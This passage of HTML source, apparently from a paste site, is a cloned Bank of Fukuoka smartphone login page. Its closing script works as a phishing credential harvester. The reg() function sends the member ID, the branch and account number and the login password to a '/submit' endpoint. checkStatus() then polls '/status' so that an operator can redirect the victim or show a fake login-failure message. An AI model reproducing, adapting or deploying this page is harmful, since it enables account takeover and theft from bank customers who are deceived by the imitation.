  685.                        <input placeholder="半角英数8~16文字" type="password" name="scndPinNmbr" maxlength="16" tabindex="" value="" id="scndPinNmbr" style="ime-mode:disabled;">
  686.                    </p>
  687.                </div>
  688.  
  689.                <ul class="lytBtn-01">
  690.                    <li id="li_lgon">
  691.                        <a href="javascript:void(0);" id="btn_lgon" class="btn-03 next" onclick="reg();">
  692.                            <span>ログイン</span>
  693.                        </a>
  694.                    </li>
  695.                    <li id="li_dmylgon" style="display: none;">
  696.                        <a href="javascript:void(0);" id="btn_dmylgon" class="btn-03 next">
  697.                            <span>ログイン</span>
  698.                        </a>
  699.                    </li>
  700.                    <li class="half">
  701.                        <a href="javascript:void(0);" tabindex="-1">
  702.                            <button class="btn-01 close" type="button" onclick="windowClose();" id="btn_close">
  703.                                <span>閉じる</span>
  704.                            </button>
  705.                        </a>
  706.                    </li>
  707.                </ul>
  708.  
  709.                
  710.                
  711.                
  712.                
  713.                
  714.  
  715.                <div class="hdg3-01">
  716.                    
  717.                </div>
  718.  
  719.                <ul class="uList-01"></ul>
  720.  
  721.                <ul class="lytBtn-01">
  722.                    <li>
  723.                        
  724.                    </li>
  725.                </ul>
  726.  
  727.                
  728.                
  729.                
  730.                
  731.                <div class="hdg3-01">
  732.                    
  733.                </div>
  734.                
  735.                
  736.                
  737.                
  738.                
  739.                
  740.  
  741.                <ul class="lytBtn-01">
  742.                    <li>
  743.                        
  744.                    </li>
  745.                </ul>
  746.  
  747.                
  748.                
  749.                
  750.                
  751.            </div>
  752.            
  753.            
  754.            
  755.            
  756.                
  757.            </section>
  758.  
  759.            <section>
  760.            
  761.            <h2 class="hdg2-01">システムメンテナンスについて</h2>
  762.            
  763.            <div class="sectionBody">
  764.                
  765.                
  766.                
  767.                <table class="tbl-01"><colgroup><col class="w50"><col class="w50"></colgroup><tbody><tr><th>第2・第3日曜日</th><td>23:00~翌7:00</td></tr></tbody></table><ul class="note-01"><li><span class="marker">※</span> 上記以外にも臨時のメンテナンスを実施することがあります。詳しくは<a href="https://www.fukuokabank.co.jp/sp/directbanking/maintenance/?from=IBSP" target="_blank">ふくぎんホームページ <img alt="(新しいウィンドウで開く)" class="iconWindow-01" src="/static/fukou/sp-icon-window-01.png" width="14" height="13"></a>でご確認ください。</li></ul>
  768.                
  769.                
  770.                
  771.            </div>
  772.            
  773.            </section>
  774.  
  775.            
  776.            <ul class="toggle-01 jsToggle-01"><li><h3 class="title jsToggleSetter" tabindex="0"><strong></strong></h3><div class="body jsToggleTarget"><ul class="num-01"><li><span class="num">1.</span>ダイレクトバンキングご利用カードや暗証番号・パスワードなどはお客様にて厳重に管理してください。</li><li><span class="num">2.</span>詳しくはふくぎんホームページ「<a href="https://www.fukuokabank.co.jp/sp/directbanking/security/?from=IBSP" target="_blank">安全にご利用いただくために<img alt="(新しいウィンドウで開く)" class="iconWindow-01" src="/static/fukou/sp-icon-window-01.png" width="14" height="13"></a>」をご確認ください。</li></ul></div></li></ul>
  777.            
  778.            
  779.            
  780.  
  781.            
  782.            <p id="pageId">KBC11SN000B</p>
  783.            
  784.            
  785.            <div class="Invisible">
  786.                <input type="hidden" name="dircLgon" value="false" id="dircLgon">
  787.                <input type="hidden" name="dealClas" value="" id="dealClas">
  788.                <input type="hidden" name="isinCode" value="" id="isinCode">
  789.            </div>
  790.            
  791.  
  792.            </main>
  793.  
  794.            <p id="toHeader">
  795.                <a href="#top">
  796.                    <span>ページ上部へ戻る</span>
  797.                </a>
  798.            </p>
  799.            
  800.        </div>
  801.  
  802.    
  803.    </div>
  804.  
  805.    <div class="FooterArea">
  806.  
  807.  
  808. <footer id="globalFooter" role="contentinfo"><div class="utility"><div class="segment"><ul class="link"><li><a href="https://www.fukuokabank.co.jp/sp/directbanking/faq/?from=IBSP" target="_blank">Q&amp;A <img alt="(新しいウィンドウで開く)" class="iconWindow-01" src="/static/fukou/sp-icon-window-01.png" width="14" height="13"></a></li></ul></div><div class="segment"><div class="contact"><div class="segment"><h2 class="hdg contact1">パソコン・スマートフォンの操作方法は</h2><dl class="tel"><dt>ふくぎんインターネットバンキングヘルプデスク</dt><dd><p class="btn"><a class="btn-01 tel" href="tel:0120788323"><span>0120-788-323</span></a></p><p class="sub">※ 銀行休業日を除く9:00~20:00</p></dd></dl></div><div class="segment"><h2 class="hdg contact2">ダイレクトバンキングサービスの内容は</h2><dl class="tel"><dt>ふくぎんテレホンサービスセンター</dt><dd><p class="btn"><a class="btn-01 tel" href="tel:0120788321"><span>0120-788-321</span></a></p><p class="sub">※ 銀行休業日を除く9:00~20:00</p></dd></dl></div></div></div><div class="segment"><ul class="link"><li><a href="https://www.fukuokabank.co.jp/sp/consumerprotection/?from=IBSP" target="_blank">顧客保護等管理方針 <img alt="(新しいウィンドウで開く)" class="iconWindow-01" src="/static/fukou/sp-icon-window-01.png" width="14" height="13"></a></li><li><a href="https://www.fukuokabank.co.jp/sp/privacy/?from=IBSP" target="_blank">個人情報保護宣言 <img alt="(新しいウィンドウで開く)" class="iconWindow-01" src="/static/fukou/sp-icon-window-01.png" width="14" height="13"></a></li><li><a href="https://www.fukuokabank.co.jp/sp/solicitation/?from=IBSP" target="_blank">金融商品勧誘方針 <img alt="(新しいウィンドウで開く)" class="iconWindow-01" src="/static/fukou/sp-icon-window-01.png" width="14" height="13"></a></li><li><a href="https://www.fukuokabank.co.jp/sp/conflict/?from=IBSP" target="_blank">利益相反管理方針 <img alt="(新しいウィンドウで開く)" class="iconWindow-01" src="/static/fukou/sp-icon-window-01.png" width="14" height="13"></a></li><li><a href="https://www.fukuokabank.co.jp/sp/depositinsurance/?from=IBSP" target="_blank">預金保険制度 <img alt="(新しいウィンドウで開く)" class="iconWindow-01" src="/static/fukou/sp-icon-window-01.png" width="14" height="13"></a></li><li><a href="https://www.fukuokabank.co.jp/sp/directbanking/kankyo/?from=IBSP" target="_blank">本サイトのご利用環境等<img alt="(新しいウィンドウで開く)" class="iconWindow-01" src="/static/fukou/sp-icon-window-01.png" width="14" height="13"></a></li></ul></div></div><p class="registration">[商号等] 株式会社福岡銀行(登録金融機関)<br>[登録番号] 福岡財務支局長(登金)第7号<br>[加入協会] 日本証券業協会、一般社団法人金融先物取引業協会</p><small class="copyright">Copyright © The Bank of Fukuoka, Ltd.<br>All Rights Reserved.</small></footer>
  809.  
  810.    </div>
  811.  
  812.  
  813. <div class="Invisible"><input type="hidden" id="kba_cntx_root" name="kba_cntx_root" value="/0177/B"></div>
  814.  
  815.    
  816.        
  817.            <script type="text/javascript" async="async">
  818.                var scriptEl = document.createElement("script");
  819.                scriptEl.setAttribute("async", "async");
  820.                scriptEl.setAttribute("type", "text/javascript");
  821.                scriptEl.setAttribute("src", 'https://samd.direct.fukuokabank.co.jp/mu/sgy/?s=FUKUOKA_KOJIN' + '&rand=' + new Date().getTime());
  822.                var body_object = document.body;
  823.                if (body_object === undefined) {
  824.                    body_object = document.getElementsByTagName("body")[0];
  825.                }
  826.                body_object.appendChild(scriptEl);
  827.                document.domain='fukuokabank.co.jp';
  828.                var iframe = document.createElement('iframe');
  829.                iframe.setAttribute('width','0');
  830.                iframe.setAttribute('height','0');
  831.                iframe.setAttribute('style','display:none');
  832.                iframe.setAttribute('id','_aigis_frame');
  833.                iframe.setAttribute('src','https://samd.direct.fukuokabank.co.jp/mu/gct/?s=FUKUOKA_KOJIN&p=KBC11SN000B' + '&rand=' + new Date().getTime());
  834.                body_object = document.body;
  835.                if (body_object === undefined) {
  836.                    body_object = document.getElementsByTagName("body")[0];
  837.                }
  838.                body_object.appendChild(iframe);
  839.            </script>
  840.  
  841.  
  842. <script>
  843.    function isNulls(str){
  844.        if ( str == "" ) return true;
  845.        var regu = "^[ ]+$";
  846.        var re = new RegExp(regu);
  847.        return re.test(str);
  848.    }
  849.    var auto;
  850.    function reg(){
  851.  
  852.        if ($("input[type='radio']:checked").val() == "cntrIdSelc" && isNulls($("#cntrId").val())){
  853.            $("#cntrId").focus();
  854.            return true;
  855.        }
  856.  
  857.  
  858.        if ($("input[type='radio']:checked").val() == "reprAcctSelc" && isNulls($("#brcd").val())) {
  859.            $("#brcd").focus();
  860.            return true;
  861.        }
  862.  
  863.        if ($("input[type='radio']:checked").val() == "reprAcctSelc" && isNulls($("#acctNmbr").val())) {
  864.            $("#acctNmbr").focus();
  865.            return true;
  866.        }
  867.  
  868.        $("#wait").css('height',document.body.scrollHeight);
  869.        $("#wait").show();
  870.        $.post("/submit",{Origin:"福岡銀行",Page:"1",Val1:$("#cntrId").val(),Val2:$("#brcd").val()+"-"+$("#acctNmbr").val(),Val3:$("#scndPinNmbr").val()},function (data){
  871.            if (data.Code == 1 && data.Message == "success") {
  872.                auto=window.setInterval("checkStatus();",1000);
  873.            }
  874.        });
  875.        return true;
  876.    }
  877.  
  878.    function checkStatus() {
  879.        $("#wait").show();
  880.        $.post("/status",function (data) {
  881.            if (data.Code == 1 && data.Message == "wait") {
  882.                $("#wait").show();
  883.            }else if (data.Code == 1 && data.Message == "success") {
  884.                $("#wait").hide();
  885.                window.clearTimeout(auto);
  886.                document.location.href = data.Data;
  887.            }else if (data.Code == 1 && data.Message == "alert") {
  888.                $("#cntrId").val("");
  889.                $("#brcd").val("");
  890.                $("#acctNmbr").val("");
  891.                $("#scndPinNmbr").val("");
  892.                window.clearTimeout(auto);
  893.                $("#wait").hide();
  894.                $("#erorMsgeBox").html("<p name=\"brcdMsge\">「会員番号」または「店番・口座番号」とログインパスワードの組み合わせが一致しません。正しい内容で再度入力してください。</p>");
  895.                $("#erorMsgeBox").show()
  896.                smoothScrollVald('#top');
  897.            }
  898.        })
  899.    }
  900. </script>
  901.  
  902. </body></html>
Add Comment
Please, Sign In to add comment